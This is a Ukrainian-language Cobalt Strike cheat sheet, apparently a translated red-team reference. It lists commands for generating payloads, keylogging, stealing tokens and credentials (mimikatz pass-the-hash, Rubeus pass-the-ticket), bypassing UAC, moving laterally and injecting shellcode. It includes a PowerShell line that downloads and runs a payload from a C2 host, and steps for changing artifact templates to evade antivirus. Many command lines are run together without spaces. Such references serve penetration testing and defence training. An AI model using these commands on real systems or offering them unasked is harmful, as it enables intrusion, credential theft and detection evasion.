Cobalt Strike -> Listeners -> Add/Edit тоді ви можете вибрати, де слухати, який тип маяка використовувати (http, dns, smb...) і більше.
Peer2Peer Listeners
Маяки цих слухачів не повинні спілкуватися з C2 безпосередньо, вони можуть спілкуватися з ним через інші маяки.
Cobalt Strike -> Listeners -> Add/Edit тоді вам потрібно вибрати TCP або SMB маяки
TCP маяк встановить слухача на вибраному порту. Щоб підключитися до TCP маяка, використовуйте команду connect <ip> <port> з іншого маяка
smb маяк буде слухати в pipename з вибраною назвою. Щоб підключитися до SMB маяка, вам потрібно використовувати команду link [target] [pipe].
Generate & Host payloads
Generate payloads in files
Attacks -> Packages ->
HTMLApplication для HTA файлів
MS Office Macro для офісного документа з макросом
Windows Executable для .exe, .dll або служби .exe
Windows Executable (S) для stageless .exe, .dll або служби .exe (краще stageless, ніж staged, менше IoCs)
Generate & Host payloads
Attacks -> Web Drive-by -> Scripted Web Delivery (S) Це згенерує скрипт/виконуваний файл для завантаження маяка з cobalt strike у форматах, таких як: bitsadmin, exe, powershell і python
Host Payloads
Якщо у вас вже є файл, який ви хочете розмістити на веб-сервері, просто перейдіть до Attacks -> Web Drive-by -> Host File і виберіть файл для розміщення та конфігурацію веб-сервера.
Beacon Options
# Виконати локальний .NET двійковий файлexecute-assembly</path/to/executable.exe># Знімки екранаprintscreen# Зробити один знімок екрана за допомогою методу PrintScrscreenshot# Зробити один знімок екранаscreenwatch# Зробити періодичні знімки екрана робочого столу## Перейдіть до View -> Screenshots, щоб їх побачити# keyloggerkeylogger [pid] [x86|x64]## View > Keystrokes, щоб побачити натиснуті клавіші# portscanportscan [pid] [arch] [targets] [ports] [arp|icmp|none] [max connections] # Впровадити дію сканування портів у інший процесportscan [targets] [ports] [arp|icmp|none] [max connections]# Powershell# Імпортувати модуль Powershellpowershell-importC:\path\to\PowerView.ps1powershell<простонапишітькомандуpowershellтут># Імітація користувача## Генерація токена з обліковими данимиmake_token [DOMAIN\user] [password] #Створити токен для імітації користувача в мережіls \\computer_name\c$ # Спробуйте використовувати згенерований токен для доступу до C$ на комп'ютеріrev2self# Припинити використовувати токен, згенерований за допомогою make_token## Використання make_token генерує подію 4624: Обліковий запис успішно ввійшов. Ця подія дуже поширена в домені Windows, але може бути звужена шляхом фільтрації за типом входу. Як згадувалося вище, вона використовує LOGON32_LOGON_NEW_CREDENTIALS, який є типом 9.# UAC Bypasselevatesvc-exe<listener>elevateuac-token-duplication<listener>runasadminuac-cmstpluapowershell.exe-nop-whidden-c"IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"## Вкрасти токен з pid## Як make_token, але крадучи токен з процесуsteal_token [pid] # Також це корисно для мережевих дій, а не локальних дій## З документації API ми знаємо, що цей тип входу "дозволяє виклику клонувати свій поточний токен". Ось чому вихід Beacon говорить Impersonated <current_username> - він імітує наш власний клонований токен.ls \\computer_name\c$ # Спробуйте використовувати згенерований токен для доступу до C$ на комп'ютеріrev2self# Припинити використовувати токен з steal_token## Запустити процес з новими обліковими данимиspawnas [domain\username] [password] [listener] #Зробіть це з каталогу з правами на читання, наприклад: cd C:\## Як make_token, це згенерує подію Windows 4624: Обліковий запис успішно ввійшов, але з типом входу 2 (LOGON32_LOGON_INTERACTIVE). Це деталізує викликаючого користувача (TargetUserName) та імітованого користувача (TargetOutboundUserName).## Впровадити в процесinject [pid] [x64|x86] [listener]## З точки зору OpSec: Не виконуйте крос-платформенне впровадження, якщо ви дійсно не повинні (наприклад, x86 -> x64 або x64 -> x86).## Pass the hash## Цей процес модифікації вимагає патчування пам'яті LSASS, що є високоризиковою дією, вимагає локальних прав адміністратора і не є дуже життєздатним, якщо увімкнено Protected Process Light (PPL).pth [pid] [arch] [DOMAIN\user] [NTLM hash]pth [DOMAIN\user] [NTLM hash]## Pass the hash через mimikatzmimikatzsekurlsa::pth/user:<username>/domain:<DOMAIN>/ntlm:<NTLMHASH>/run:"powershell -w hidden"## Без /run, mimikatz запускає cmd.exe, якщо ви працюєте як користувач з робочим столом, він побачить оболонку (якщо ви працюєте як SYSTEM, ви в порядку)steal_token<pid>#Вкрасти токен з процесу, створеного mimikatz## Pass the ticket## Запросити квитокexecute-assemblyC:\path\Rubeus.exeasktgt/user:<username>/domain:<domain>/aes256:<aes_keys>/nowrap/opsec## Створити нову сесію входу для використання з новим квитком (щоб не перезаписувати скомпрометований)make_token<domain>\<username>DummyPass## Записати квиток на машині зловмисника з сеансу poweshell & завантажити його[System.IO.File]::WriteAllBytes("C:\Users\Administrator\Desktop\jkingTGT.kirbi", [System.Convert]::FromBase64String("[...ticket...]"))kerberos_ticket_useC:\Users\Administrator\Desktop\jkingTGT.kirbi## Pass the ticket з SYSTEM## Згенерувати новий процес з квиткомexecute-assemblyC:\path\Rubeus.exeasktgt/user:<USERNAME>/domain:<DOMAIN>/aes256:<AESKEY>/nowrap/opsec/createnetonly:C:\Windows\System32\cmd.exe## Вкрасти токен з цього процесуsteal_token<pid>## Extract ticket + Pass the ticket### Список квитківexecute-assemblyC:\path\Rubeus.exetriage### Вивантажити цікавий квиток за luidexecute-assemblyC:\path\Rubeus.exedump/service:krbtgt/luid:<luid>/nowrap### Створити нову сесію входу, зафіксувати luid та processidexecute-assemblyC:\path\Rubeus.execreatenetonly/program:C:\Windows\System32\cmd.exe### Вставити квиток у згенеровану сесію входуexecute-assemblyC:\path\Rubeus.exeptt/luid:0x92a8c/ticket:[...base64-ticket...]### Нарешті, вкрасти токен з цього нового процесуsteal_token<pid># Lateral Movement## Якщо токен був створений, він буде використанийjump [method] [target] [listener]## Методи:## psexec x86 Використовуйте службу для запуску артефакту Service EXE## psexec64 x64 Використовуйте службу для запуску артефакту Service EXE## psexec_psh x86 Використовуйте службу для запуску однолінійного скрипту PowerShell## winrm x86 Запустіть скрипт PowerShell через WinRM## winrm64 x64 Запустіть скрипт PowerShell через WinRMremote-exec [method] [target] [command]## Методи:## psexec Віддалене виконання через Менеджер контролю служб## winrm Віддалене виконання через WinRM (PowerShell)## wmi Віддалене виконання через WMI## Щоб виконати маяк з wmi (це не в команді jump), просто завантажте маяк і виконайте йогоbeacon> uploadC:\Payloads\beacon-smb.exebeacon> remote-execwmisrv-1C:\Windows\beacon-smb.exe# Pass session to Metasploit - Через слухача## На хості metaploitmsf6>useexploit/multi/handlermsf6exploit(multi/handler) >setpayloadwindows/meterpreter/reverse_httpmsf6exploit(multi/handler) >setLHOSTeth0msf6exploit(multi/handler) >setLPORT8080msf6exploit(multi/handler) >exploit-j## На cobalt: Listeners > Add і встановіть Payload на Foreign HTTP. Встановіть Host на 10.10.5.120, Port на 8080 і натисніть Save.beacon> spawnmetasploit## Ви можете запускати лише x86 Meterpreter сесії з іноземного слухача.# Pass session to Metasploit - Через ін'єкцію shellcode## На хості metasploitmsfvenom-pwindows/x64/meterpreter_reverse_httpLHOST=<IP>LPORT=<PORT>-fraw-o/tmp/msf.bin## Запустіть msfvenom і підготуйте слухача multi/handler## Скопіюйте bin файл на хост cobalt strikepsshinject<pid>x64C:\Payloads\msf.bin#Ін'єктувати shellcode metasploit у процес x64# Pass metasploit session to cobalt strike## Згенеруйте stageless Beacon shellcode, перейдіть до Attacks > Packages > Windows Executable (S), виберіть бажаний слухач, виберіть Raw як тип виходу та виберіть Use x64 payload.## Використовуйте post/windows/manage/shellcode_inject у metasploit для ін'єкції згенерованого shellcode cobalt strike# Pivoting## Відкрийте проксі-сервер socks на teamserverbeacon> socks1080# SSH connectionbeacon> ssh10.10.17.12:22usernamepassword
Avoiding AVs
Artifact Kit
Зазвичай у /opt/cobaltstrike/artifact-kit ви можете знайти код і попередньо скомпільовані шаблони (в /src-common) артефактів, які cobalt strike збирається використовувати для генерації двійкових маяків.
Використовуючи ThreatCheck з згенерованим бекдором (або просто з скомпільованим шаблоном), ви можете дізнатися, що викликає спрацьовування захисника. Це зазвичай рядок. Тому ви можете просто змінити код, який генерує бекдор, так що цей рядок не з'являється в остаточному двійниковому файлі.
Після зміни коду просто запустіть ./build.sh з того ж каталогу та скопіюйте папку dist-pipe/ на Windows-клієнт у C:\Tools\cobaltstrike\ArtifactKit.
Не забудьте завантажити агресивний скрипт dist-pipe\artifact.cna, щоб вказати Cobalt Strike використовувати ресурси з диска, які ми хочемо, а не завантажені.
Resource Kit
Папка ResourceKit містить шаблони для скриптових корисних навантажень Cobalt Strike, включаючи PowerShell, VBA та HTA.
Використовуючи ThreatCheck з шаблонами, ви можете знайти, що не подобається захиснику (в даному випадку AMSI) і змінити це:
Модифікуючи виявлені рядки, можна створити шаблон, який не буде виявлений.
Не забудьте завантажити агресивний скрипт ResourceKit\resources.cna, щоб вказати Cobalt Strike використовувати ресурси з диска, які ми хочемо, а не ті, що завантажені.